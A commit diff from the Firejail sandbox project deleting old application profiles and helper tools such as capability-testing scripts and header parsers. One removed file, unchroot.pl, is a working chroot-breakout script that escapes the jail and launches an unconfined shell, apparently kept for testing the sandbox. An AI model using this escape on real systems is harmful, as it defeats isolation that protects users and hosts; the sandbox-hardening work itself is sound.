aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorLibravatar netblue30 <netblue30@yahoo.com>2018-08-27 07:28:05 -0400
committerLibravatar netblue30 <netblue30@yahoo.com>2018-08-27 07:28:05 -0400
commit020ae3787ba713f575e9e59cdb282ed11b3fe814 (patch)
tree7897576f9565baacdc94571aaa08d4007880b27e
parentmerge from mainline (diff)
downloadfirejail-020ae3787ba713f575e9e59cdb282ed11b3fe814.tar.gz
firejail-020ae3787ba713f575e9e59cdb282ed11b3fe814.tar.zst
firejail-020ae3787ba713f575e9e59cdb282ed11b3fe814.zip
cleanup
-rw-r--r--etc-fixes/0.9.38/firefox.profile32
-rw-r--r--etc-fixes/0.9.52/firefox.profile96
-rw-r--r--etc-fixes/0.9.52/gedit.profile44
-rw-r--r--etc-fixes/0.9.52/libreoffice.profile36
-rwxr-xr-xsrc/tools/check-caps.sh46
-rw-r--r--src/tools/extract_caps.c83
-rw-r--r--src/tools/extract_errnos.sh4
-rw-r--r--src/tools/extract_syscalls.c93
-rwxr-xr-xsrc/tools/mkcoverit.sh45
-rw-r--r--src/tools/testuid.c49
-rw-r--r--src/tools/ttytest.c36
-rwxr-xr-xsrc/tools/unchroot.pl33
-rw-r--r--src/tools/unixsocket.c29
13 files changed, 0 insertions, 626 deletions
diff --git a/etc-fixes/0.9.38/firefox.profile b/etc-fixes/0.9.38/firefox.profile
deleted file mode 100644
index f107f77fd..000000000
--- a/etc-fixes/0.9.38/firefox.profile
+++ /dev/null
@@ -1,32 +0,0 @@
1# Firejail profile for Mozilla Firefox (Iceweasel in Debian)
2noblacklist ${HOME}/.mozilla
3include /etc/firejail/disable-mgmt.inc
4include /etc/firejail/disable-secret.inc
5include /etc/firejail/disable-common.inc
6include /etc/firejail/disable-devel.inc
7caps.drop all
8
9#seccomp.drop @clock,@cpu-emulation,@debug,@module,@obsolete,@raw-io,@reboot,@resources,@swap,acct,add_key,bpf,fanotify_init,io_cancel,io_destroy,io_getevents,io_setup,io_submit,ioprio_set,kcmp,keyctl,mount,name_to_handle_at,nfsservctl,ni_syscall,open_by_handle_at,personality,pivot_root,process_vm_readv,ptrace,remap_file_pages,request_key,setdomainname,sethostname,syslog,umount,umount2,userfaultfd,vhangup,vmsplice
10seccomp.drop adjtimex,clock_adjtime,clock_settime,settimeofday,stime,modify_ldt,subpage_prot,switch_endian,vm86,vm86old,lookup_dcookie,perf_event_open,process_vm_writev,rtas,s390_runtime_instr,sys_debug_setcontext,delete_module,finit_module,init_module,_sysctl,afs_syscall,bdflush,break,create_module,ftime,get_kernel_syms,getpmsg,gtty,lock,mpx,prof,profil,putpmsg,query_module,security,sgetmask,ssetmask,stty,sysfs,tuxcall,ulimit,uselib,ustat,vserver,ioperm,iopl,pciconfig_iobase,pciconfig_read,pciconfig_write,s390_mmio_read,s390_mmio_write,kexec_load,kexec_file_load,reboot,set_mempolicy,migrate_pages,move_pages,mbind,swapon,swapoff,acct,add_key,bpf,fanotify_init,io_cancel,io_destroy,io_getevents,io_setup,io_submit,ioprio_set,kcmp,keyctl,mount,name_to_handle_at,nfsservctl,ni_syscall,open_by_handle_at,personality,pivot_root,process_vm_readv,ptrace,remap_file_pages,request_key,setdomainname,sethostname,syslog,umount,umount2,userfaultfd,vhangup,vmsplice
11
12protocol unix,inet,inet6,netlink
13netfilter
14# tracelog
15noroot
16whitelist ${DOWNLOADS}
17whitelist ~/.mozilla
18whitelist ~/.cache/mozilla/firefox
19whitelist ~/dwhelper
20whitelist ~/.zotero
21whitelist ~/.lastpass
22whitelist ~/.vimperatorrc
23whitelist ~/.vimperator
24whitelist ~/.pentadactylrc
25whitelist ~/.pentadactyl
26whitelist ~/.keysnail.js
27whitelist ~/.config/gnome-mplayer
28whitelist ~/.cache/gnome-mplayer/plugin
29include /etc/firejail/whitelist-common.inc
30
31# experimental features
32#private-etc passwd,group,hostname,hosts,localtime,nsswitch.conf,resolv.conf,gtk-2.0,pango,fonts,iceweasel,firefox,adobe,mime.types,mailcap,asound.conf,pulse
diff --git a/etc-fixes/0.9.52/firefox.profile b/etc-fixes/0.9.52/firefox.profile
deleted file mode 100644
index 6b19b14df..000000000
--- a/etc-fixes/0.9.52/firefox.profile
+++ /dev/null
@@ -1,96 +0,0 @@
1# Firejail profile for firefox
2# This file is overwritten after every install/update
3# Persistent local customizations
4include /etc/firejail/firefox.local
5# Persistent global definitions
6include /etc/firejail/globals.local
7
8noblacklist ${HOME}/.cache/mozilla
9noblacklist ${HOME}/.config/okularpartrc
10noblacklist ${HOME}/.config/okularrc
11noblacklist ${HOME}/.config/qpdfview
12noblacklist ${HOME}/.kde/share/apps/kget
13noblacklist ${HOME}/.kde/share/apps/okular
14noblacklist ${HOME}/.kde/share/config/kgetrc
15noblacklist ${HOME}/.kde/share/config/okularpartrc
16noblacklist ${HOME}/.kde/share/config/okularrc
17noblacklist ${HOME}/.kde4/share/apps/kget
18noblacklist ${HOME}/.kde4/share/apps/okular
19noblacklist ${HOME}/.kde4/share/config/kgetrc
20noblacklist ${HOME}/.kde4/share/config/okularpartrc
21noblacklist ${HOME}/.kde4/share/config/okularrc
22# noblacklist ${HOME}/.local/share/gnome-shell/extensions
23noblacklist ${HOME}/.local/share/okular
24noblacklist ${HOME}/.local/share/qpdfview
25noblacklist ${HOME}/.mozilla
26noblacklist ${HOME}/.pki
27
28include /etc/firejail/disable-common.inc
29include /etc/firejail/disable-devel.inc
30include /etc/firejail/disable-programs.inc
31
32mkdir ${HOME}/.cache/mozilla/firefox
33mkdir ${HOME}/.mozilla
34mkdir ${HOME}/.pki
35whitelist ${DOWNLOADS}
36whitelist ${HOME}/.cache/gnome-mplayer/plugin
37whitelist ${HOME}/.cache/mozilla/firefox
38whitelist ${HOME}/.config/gnome-mplayer
39whitelist ${HOME}/.config/okularpartrc
40whitelist ${HOME}/.config/okularrc
41whitelist ${HOME}/.config/pipelight-silverlight5.1
42whitelist ${HOME}/.config/pipelight-widevine
43whitelist ${HOME}/.config/qpdfview
44whitelist ${HOME}/.kde/share/apps/kget
45whitelist ${HOME}/.kde/share/apps/okular
46whitelist ${HOME}/.kde/share/config/kgetrc
47whitelist ${HOME}/.kde/share/config/okularpartrc
48whitelist ${HOME}/.kde/share/config/okularrc
49whitelist ${HOME}/.kde4/share/apps/kget
50whitelist ${HOME}/.kde4/share/apps/okular
51whitelist ${HOME}/.kde4/share/config/kgetrc
52whitelist ${HOME}/.kde4/share/config/okularpartrc
53whitelist ${HOME}/.kde4/share/config/okularrc
54whitelist ${HOME}/.keysnail.js
55whitelist ${HOME}/.lastpass
56whitelist ${HOME}/.local/share/gnome-shell/extensions
57whitelist ${HOME}/.local/share/okular
58whitelist ${HOME}/.local/share/qpdfview
59whitelist ${HOME}/.mozilla
60whitelist ${HOME}/.pentadactyl
61whitelist ${HOME}/.pentadactylrc
62whitelist ${HOME}/.pki
63whitelist ${HOME}/.vimperator
64whitelist ${HOME}/.vimperatorrc
65whitelist ${HOME}/.wine-pipelight
66whitelist ${HOME}/.wine-pipelight64
67whitelist ${HOME}/.zotero
68whitelist ${HOME}/dwhelper
69include /etc/firejail/whitelist-common.inc
70include /etc/firejail/whitelist-var-common.inc
71
72caps.drop all
73# machine-id breaks pulse audio; it should work fine in setups where sound is not required
74#machine-id
75netfilter
76nodvd
77nogroups
78nonewprivs
79noroot
80notv
81protocol unix,inet,inet6,netlink
82#seccomp - replaced with seccomp.drop for Firefox 60
83seccomp.drop @clock,@cpu-emulation,@debug,@module,@obsolete,@raw-io,@reboot,@resources,@swap,acct,add_key,bpf,fanotify_init,io_cancel,io_destroy,io_getevents,io_setup,io_submit,ioprio_set,kcmp,keyctl,mount,name_to_handle_at,nfsservctl,ni_syscall,open_by_handle_at,personality,pivot_root,process_vm_readv,ptrace,remap_file_pages,request_key,setdomainname,sethostname,syslog,umount,umount2,userfaultfd,vhangup,vmsplice
84shell none
85#tracelog - disabled for Firefox 60
86
87disable-mnt
88# firefox requires a shell to launch on Arch.
89# private-bin firefox,which,sh,dbus-launch,dbus-send,env,bash
90private-dev
91# private-etc below works fine on most distributions. There are some problems on CentOS.
92# private-etc iceweasel,ca-certificates,ssl,machine-id,dconf,selinux,passwd,group,hostname,hosts,localtime,nsswitch.conf,resolv.conf,xdg,gtk-2.0,gtk-3.0,X11,pango,fonts,firefox,mime.types,mailcap,asound.conf,pulse
93private-tmp
94
95noexec ${HOME}
96noexec /tmp
diff --git a/etc-fixes/0.9.52/gedit.profile b/etc-fixes/0.9.52/gedit.profile
deleted file mode 100644
index 2646233cf..000000000
--- a/etc-fixes/0.9.52/gedit.profile
+++ /dev/null
@@ -1,44 +0,0 @@
1# Firejail profile for gedit
2# This file is overwritten after every install/update
3# Persistent local customizations
4include /etc/firejail/gedit.local
5# Persistent global definitions
6include /etc/firejail/globals.local
7
8# blacklist /run/user/*/bus - makes settings immutable
9
10noblacklist ${HOME}/.config/enchant
11noblacklist ${HOME}/.config/gedit
12noblacklist ${HOME}/.gitconfig
13
14include /etc/firejail/disable-common.inc
15# include /etc/firejail/disable-devel.inc
16include /etc/firejail/disable-passwdmgr.inc
17include /etc/firejail/disable-programs.inc
18
19include /etc/firejail/whitelist-var-common.inc
20
21caps.drop all
22# net none - makes settings immutable
23machine-id
24no3d
25nodvd
26nogroups
27nonewprivs
28noroot
29nosound
30notv
31novideo
32protocol unix
33seccomp
34shell none
35tracelog
36
37# private-bin gedit
38private-dev
39# private-etc fonts
40#private-lib gedit - disabled; problems when running "firejail gedit"; "firejail /usr/bin/gedit" works fine
41private-tmp
42
43noexec ${HOME}
44noexec /tmp
diff --git a/etc-fixes/0.9.52/libreoffice.profile b/etc-fixes/0.9.52/libreoffice.profile
deleted file mode 100644
index bbc52ff5e..000000000
--- a/etc-fixes/0.9.52/libreoffice.profile
+++ /dev/null
@@ -1,36 +0,0 @@
1# Firejail profile for libreoffice
2# This file is overwritten after every install/update
3# Persistent local customizations
4include /etc/firejail/libreoffice.local
5# Persistent global definitions
6include /etc/firejail/globals.local
7
8noblacklist ${HOME}/.java
9noblacklist /usr/local/sbin
10noblacklist ${HOME}/.config/libreoffice
11
12include /etc/firejail/disable-common.inc
13include /etc/firejail/disable-devel.inc
14include /etc/firejail/disable-passwdmgr.inc
15include /etc/firejail/disable-programs.inc
16
17include /etc/firejail/whitelist-var-common.inc
18
19caps.drop all
20machine-id
21netfilter
22nodvd
23nogroups
24#nonewprivs
25noroot
26notv
27#protocol unix,inet,inet6
28#seccomp
29shell none
30#tracelog
31
32private-dev
33private-tmp
34
35noexec ${HOME}
36noexec /tmp
diff --git a/src/tools/check-caps.sh b/src/tools/check-caps.sh
deleted file mode 100755
index 13525677b..000000000
--- a/src/tools/check-caps.sh
+++ /dev/null
@@ -1,46 +0,0 @@
1#!/bin/bash
2
3if [ $# -eq 0 ]
4then
5 echo "Usage: check-caps.sh program-and-arguments"
6 echo
7fi
8
9set -x
10
11firejail --caps.drop=chown "$1"
12firejail --caps.drop=dac_override "$1"
13firejail --caps.drop=dac_read_search "$1"
14firejail --caps.drop=fowner "$1"
15firejail --caps.drop=fsetid "$1"
16firejail --caps.drop=kill "$1"
17firejail --caps.drop=setgid "$1"
18firejail --caps.drop=setuid "$1"
19firejail --caps.drop=setpcap "$1"
20firejail --caps.drop=linux_immutable "$1"
21firejail --caps.drop=net_bind_service "$1"
22firejail --caps.drop=net_broadcast "$1"
23firejail --caps.drop=net_admin "$1"
24firejail --caps.drop=net_raw "$1"
25firejail --caps.drop=ipc_lock "$1"
26firejail --caps.drop=ipc_owner "$1"
27firejail --caps.drop=sys_module "$1"
28firejail --caps.drop=sys_rawio "$1"
29firejail --caps.drop=sys_chroot "$1"
30firejail --caps.drop=sys_ptrace "$1"
31firejail --caps.drop=sys_pacct "$1"
32firejail --caps.drop=sys_admin "$1"
33firejail --caps.drop=sys_boot "$1"
34firejail --caps.drop=sys_nice "$1"
35firejail --caps.drop=sys_resource "$1"
36firejail --caps.drop=sys_time "$1"
37firejail --caps.drop=sys_tty_config "$1"
38firejail --caps.drop=mknod "$1"
39firejail --caps.drop=lease "$1"
40firejail --caps.drop=audit_write "$1"
41firejail --caps.drop=audit_control "$1"
42firejail --caps.drop=setfcap "$1"
43firejail --caps.drop=mac_override "$1"
44firejail --caps.drop=mac_admin "$1"
45firejail --caps.drop=syslog "$1"
46firejail --caps.drop=wake_alarm "$1"
diff --git a/src/tools/extract_caps.c b/src/tools/extract_caps.c
deleted file mode 100644
index 9769fb071..000000000
--- a/src/tools/extract_caps.c
+++ /dev/null
@@ -1,83 +0,0 @@
1/*
2 * Copyright (C) 2014-2018 Firejail Authors
3 *
4 * This file is part of firejail project
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License along
17 * with this program; if not, write to the Free Software Foundation, Inc.,
18 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19*/
20#include <stdio.h>
21#include <stdlib.h>
22#include <string.h>
23#include <assert.h>
24
25#define BUFMAX 4096
26
27int main(int argc, char **argv) {
28 if (argc != 2) {
29 printf("usage: %s /usr/include/linux/capability.h\n", argv[0]);
30 return 1;
31 }
32
33 //open file
34 FILE *fp = fopen(argv[1], "r");
35 if (!fp) {
36 fprintf(stderr, "Error: cannot open file\n");
37 return 1;
38 }
39
40 // read file
41 char buf[BUFMAX];
42 while (fgets(buf, BUFMAX, fp)) {
43 // cleanup
44 char *start = buf;
45 while (*start == ' ' || *start == '\t')
46 start++;
47 char *end = strchr(start, '\n');
48 if (end)
49 *end = '\0';
50
51 // parsing
52 if (strncmp(start, "#define CAP_", 12) == 0) {
53 if (strstr(start, "CAP_LAST_CAP"))
54 break;
55
56 char *ptr1 = start + 8;
57 char *ptr2 = ptr1;
58 while (*ptr2 == ' ' || *ptr2 == '\t')
59 ptr2++;
60 while (*ptr2 != ' ' && *ptr2 != '\t')
61 ptr2++;
62 *ptr2 = '\0';
63
64 ptr2 = strdup(ptr1);
65 assert(ptr2);
66 ptr2 += 4;
67 char *ptr3 = ptr2;
68 while (*ptr3 != '\0') {
69 *ptr3 = tolower(*ptr3);
70 ptr3++;
71 }
72
73
74 printf("#ifdef %s\n", ptr1);
75 printf("\t{\"%s\", %s },\n", ptr2, ptr1);
76 printf("#endif\n");
77
78 }
79
80 }
81 fclose(fp);
82 return 0;
83}
diff --git a/src/tools/extract_errnos.sh b/src/tools/extract_errnos.sh
deleted file mode 100644
index 43b225828..000000000
--- a/src/tools/extract_errnos.sh
+++ /dev/null
@@ -1,4 +0,0 @@
1echo -e "#include <errno.h>\n#include <attr/xattr.h>" | \
2 cpp -dD | \
3 grep "^#define E" | \
4 sed -e '{s/#define \(.*\) .*/\t"\1", \1,/g}'
diff --git a/src/tools/extract_syscalls.c b/src/tools/extract_syscalls.c
deleted file mode 100644
index d7e16e912..000000000
--- a/src/tools/extract_syscalls.c
+++ /dev/null
@@ -1,93 +0,0 @@
1/*
2 * Copyright (C) 2014-2018 Firejail Authors
3 *
4 * This file is part of firejail project
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License along
17 * with this program; if not, write to the Free Software Foundation, Inc.,
18 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19*/
20#include <stdio.h>
21#include <stdlib.h>
22#include <string.h>
23
24#define BUFMAX 4096
25
26int main(int argc, char **argv) {
27 if (argc != 2) {
28 printf("usage: %s /usr/include/x86_64-linux-gnu/bits/syscall.h\n", argv[0]);
29 return 1;
30 }
31
32 //open file
33 FILE *fp = fopen(argv[1], "r");
34 if (!fp) {
35 fprintf(stderr, "Error: cannot open file\n");
36 return 1;
37 }
38
39 // read file
40 char buf[BUFMAX];
41 while (fgets(buf, BUFMAX, fp)) {
42 // cleanup
43 char *start = buf;
44 while (*start == ' ' || *start == '\t')
45 start++;
46 char *end = strchr(start, '\n');
47 if (end)
48 *end = '\0';
49
50 // parsing
51 if (strncmp(start, "# error", 7) == 0)
52 continue;
53 if (strncmp(start, "#endif", 6) == 0)
54 printf("%s\n", start);
55 if (strncmp(start, "#endif", 6) == 0)
56 printf("%s\n", start);
57 else if (strncmp(start, "#if", 3) == 0)
58 printf("%s\n", start);
59 else if (strncmp(start, "#define", 7) == 0) {
60 // extract data
61 char *ptr1 = strstr(start, "SYS_");
62 char *ptr2 = strstr(start, "__NR_");
63 if (!ptr1 || !ptr2) {
64 fprintf(stderr, "Error: cannot parse \"%s\"\n", start);
65 fclose(fp);
66 return 1;
67 }
68 *(ptr2 - 1) = '\0';
69
70 char *ptr3 = ptr1;
71 while (*ptr3 != ' ' && *ptr3 != '\t' && *ptr3 != '\0')
72 ptr3++;
73 *ptr3 = '\0';
74 ptr3 = ptr2;
75 while (*ptr3 != ' ' && *ptr3 != '\t' && *ptr3 != '\0')
76 ptr3++;
77 *ptr3 = '\0';
78
79 ptr3 = ptr1;
80 while (*ptr3 != '_')
81 ptr3++;
82 ptr3++;
83
84 printf("#ifdef %s\n", ptr1);
85 printf("#ifdef %s\n", ptr2);
86 printf("\t{\"%s\", %s},\n", ptr3, ptr2);
87 printf("#endif\n");
88 printf("#endif\n");
89 }
90 }
91 fclose(fp);
92 return 0;
93}
diff --git a/src/tools/mkcoverit.sh b/src/tools/mkcoverit.sh
deleted file mode 100755
index d4a68e397..000000000
--- a/src/tools/mkcoverit.sh
+++ /dev/null
@@ -1,45 +0,0 @@
1#!/bin/bash
2
3# unpack firejail archive
4ARCFIREJAIL=`ls *.tar.xz| grep firejail`
5if [ "$?" -eq 0 ];
6then
7 echo "preparing $ARCFIREJAIL"
8 DIRFIREJAIL=`basename $ARCFIREJAIL .tar.xz`
9 rm -fr $DIRFIREJAIL
10 tar -xJvf $ARCFIREJAIL
11 cd $DIRFIREJAIL
12 ./configure --prefix=/usr
13 cd ..
14else
15 echo "Error: firejail source archive missing"
16 exit 1
17fi
18
19
20# unpack firetools archive
21ARCFIRETOOLS=`ls *.tar.bz2 | grep firetools`
22if [ "$?" -eq 0 ];
23then
24 echo "preparing $ARCFIRETOOLS"
25 DIRFIRETOOLS=`basename $ARCFIRETOOLS .tar.bz2`
26 rm -fr $DIRFIRETOOLS
27 tar -xjvf $ARCFIRETOOLS
28 cd $DIRFIRETOOLS
29 pwd
30 ./configure --prefix=/usr
31 cd ..
32
33else
34 echo "Error: firetools source archive missing"
35 exit 1
36fi
37
38# move firetools in firejail source tree
39mkdir -p $DIRFIREJAIL/extras
40mv $DIRFIRETOOLS $DIRFIREJAIL/extras/firetools
41
42# build
43cd $DIRFIREJAIL
44cov-build --dir cov-int make -j 4 extras
45tar czvf myproject.tgz cov-int
diff --git a/src/tools/testuid.c b/src/tools/testuid.c
deleted file mode 100644
index 633b9773e..000000000
--- a/src/tools/testuid.c
+++ /dev/null
@@ -1,49 +0,0 @@
1/*
2 * Copyright (C) 2014-2018 Firejail Authors
3 *
4 * This file is part of firejail project
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License along
17 * with this program; if not, write to the Free Software Foundation, Inc.,
18 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19*/
20
21// compile: gcc -o testuid testuid.c
22
23#include <stdio.h>
24#include <stdlib.h>
25#include <string.h>
26#include <unistd.h>
27#include <sys/types.h>
28
29
30static void print_status(void) {
31 FILE *fp = fopen("/proc/self/status", "r");
32 if (!fp) {
33 fprintf(stderr, "Error, cannot open staus file\n");
34 exit(1);
35 }
36
37 char buf[4096];
38 while (fgets(buf, 4096, fp)) {
39 if (strncmp(buf, "Uid", 3) == 0 || strncmp(buf, "Gid", 3) == 0)
40 printf("%s", buf);
41 }
42
43 fclose(fp);
44}
45
46int main(void) {
47 print_status();
48 return 0;
49}
diff --git a/src/tools/ttytest.c b/src/tools/ttytest.c
deleted file mode 100644
index a449bf9ba..000000000
--- a/src/tools/ttytest.c
+++ /dev/null
@@ -1,36 +0,0 @@
1#define _XOPEN_SOURCE 600
2#include <stdlib.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <errno.h>
6
7int main(void) {
8 int fdm;
9 int rc;
10
11 // initial
12 system("ls -l /dev/pts");
13
14 fdm = posix_openpt(O_RDWR);
15 if (fdm < 0) {
16 perror("posix_openpt");
17 return 1;
18 }
19
20 rc = grantpt(fdm);
21 if (rc != 0) {
22 perror("grantpt");
23 return 1;
24 }
25
26 rc = unlockpt(fdm);
27 if (rc != 0) {
28 perror("unlockpt");
29 return 1;
30 }
31
32 // final
33 system("ls -l /dev/pts");
34
35 return 0;
36}
diff --git a/src/tools/unchroot.pl b/src/tools/unchroot.pl
deleted file mode 100755
index bd30ffe76..000000000
--- a/src/tools/unchroot.pl
+++ /dev/null
@@ -1,33 +0,0 @@
1#!/usr/bin/perl -w
2use strict;
3# unchroot.pl Dec 2007
4# http://pentestmonkey.net/blog/chroot-breakout-perl
5
6# This script may be used for legal purposes only.
7
8# Go to the root of the jail
9chdir "/";
10
11# Open filehandle to root of jail
12opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";
13
14# Create a subdir, move into it
15mkdir "mysubdir";
16chdir "mysubdir";
17
18# Lock ourselves in a new jail
19chroot ".";
20
21# Use our filehandle to get back to the root of the old jail
22chdir(*JAILROOT);
23
24# Get to the real root
25while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
26 chdir "..";
27}
28
29# Lock ourselves in real root - so we're not really in a jail at all now
30chroot ".";
31
32# Start an un-jailed shell
33system("/bin/sh");
diff --git a/src/tools/unixsocket.c b/src/tools/unixsocket.c
deleted file mode 100644
index c4302eed3..000000000
--- a/src/tools/unixsocket.c
+++ /dev/null
@@ -1,29 +0,0 @@
1#include <stdio.h>
2#include <sys/types.h>
3#include <sys/socket.h>
4#include <sys/un.h>
5
6int main(void) {
7 struct sockaddr_un addr;
8 int s;
9 const char *socketpath = "/var/run/minissdpd.sock";
10// const char *socketpath = "/var/run/acipd.sock";
11
12 s = socket(AF_UNIX, SOCK_STREAM, 0);
13 if(s < 0) {
14 fprintf(stderr, "Error: cannot open socket\n");
15 return 1;
16 }
17
18 addr.sun_family = AF_UNIX;
19 strncpy(addr.sun_path, socketpath, sizeof(addr.sun_path));
20 if(connect(s, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) < 0) {
21 fprintf(stderr, "Error: cannot connect to socket\n");
22 return 1;
23 }
24
25 printf("connected to %s\n", socketpath);
26 close(s);
27
28 return 0;
29}